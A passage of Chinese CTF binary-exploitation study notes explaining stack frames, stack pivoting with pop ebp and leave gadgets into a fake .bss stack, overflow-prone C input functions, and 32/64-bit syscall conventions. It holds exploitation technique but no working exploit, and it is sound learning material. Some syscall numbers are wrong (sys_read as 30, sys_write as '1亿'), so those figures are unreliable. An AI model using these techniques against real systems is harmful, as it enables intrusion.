  • 如果通过堆栈传递参数了,那么在函数执行完毕后,要平衡参数导致的堆栈变化

3.总结

  • 当函数在栈中操作时,需要先把ESP交给EBP,然后继续操作,当操作完成后,在ret之前,要先将ESP恢复成进入栈之前的状态,最后再将EBP移除栈

2.栈转移

1.为什么需要栈转移?

  • 在栈空间不够存放payload的情况下,需要一个新的地址空间存放payload
  • 开启PIE保护,栈地址未知,我们可以将栈劫持到已知的区域

2.概念

  • 劫持栈的rsp(ESP),使其指向其他位置,形成一个伪造的栈,在此栈中做ROP

3.必要的gadget

  • pop ebp;ret 释放EBP,并连接伪造的栈
  • leave;ret 更改ESP,指向后续的payload

4.原理

  • 通过 pop ebp;ret + 伪造的栈让程序直接跳转到伪造的栈里面,然后为了保持栈平衡,从而执行 leave ;ret,最后继续执行伪造栈内的payload

5.过程

  • 使用输入函数(如read),将后续的payload加载到bss段内,也就是伪造的栈
  • 通过 pop ebp;ret | pop ebx;ret 来调整EBP寄存器
  • 通过 leave ret; 来更改 ESP,使其指向伪造的栈
  • 然后在伪造的栈中执行下一段ROP

CTF-PWN

常见的危险函数

  • gets() 没有检查边界

    • 通过计算函数的偏移量,通过构造payload达到溢出
  • fgets(buf, 40, stdin)

    • 能够接受39Byte,最后一个字节为NULL
    • 如果buf的长度没有39也可以造成溢出
  • read(stdin, buf, 40)

    • 从输入中读取40个Byte,到buf,最后的字节可以不是NULL
    • 可能会造成信息的泄漏

    • read(0,buf,0x20) 从用户输入读取32个字符

  • Write(int fd, buf, nbytes)

    • fd 输出描述 1
    • buf 为要写入到数据的缓冲区地址
    • nbytes为要写入的数据的字节数
  • strcpy

  • memcpy

  • scanf(“%s”,buff)

  • syscall系统调用

    • 操作系统实现系统调用的基本过程是:

      • 应用程序调用库函数(API)
      • API将系统调用号存入EAX,然后通过中断调用使系统进入内核态
      • 内核中终端处理函数根据系统调用号,调用对应的内核函数(系统调用)
      • 系统调用完成相应的功能,将返回值存入EAX,返回到中断处理函数
      • 中断处理函数返回到API中
      • API将EAX返回给应用程序
    • 应用程序调用系统调用的过程

      • 把系统调用的编号存入EAX
      • 把函数参数存入其他通用寄存器
      • 触发0x80号中断(int 0x80)
    • 以上是32位的系统调用,与64 位的区别是

      • 传参方式不同

        • 32位
          • 先将系统调用号传入eax,然后将参数从左到右依次存入ebx,ecx,edx寄存器中,返回值存在eax中
        • 64位
          • 先将系统调用号传入rax,然后传参数 从左到右依次存入rdi,rsi,rdx寄存器中,返回值存在rax寄存器
      • 系统调用号不同

        • 32位
          • sys_read 的系统调用号为 30 sys_write 的系统调用号为4
        • 64位
          • sys_read的调用号位0,sys_write的调用号为1亿
      • 调用方式不同

        • ​ 32位
          • 使用int 80 中断进行系统调用
        • 64位
          • 使用syscall进行系统调用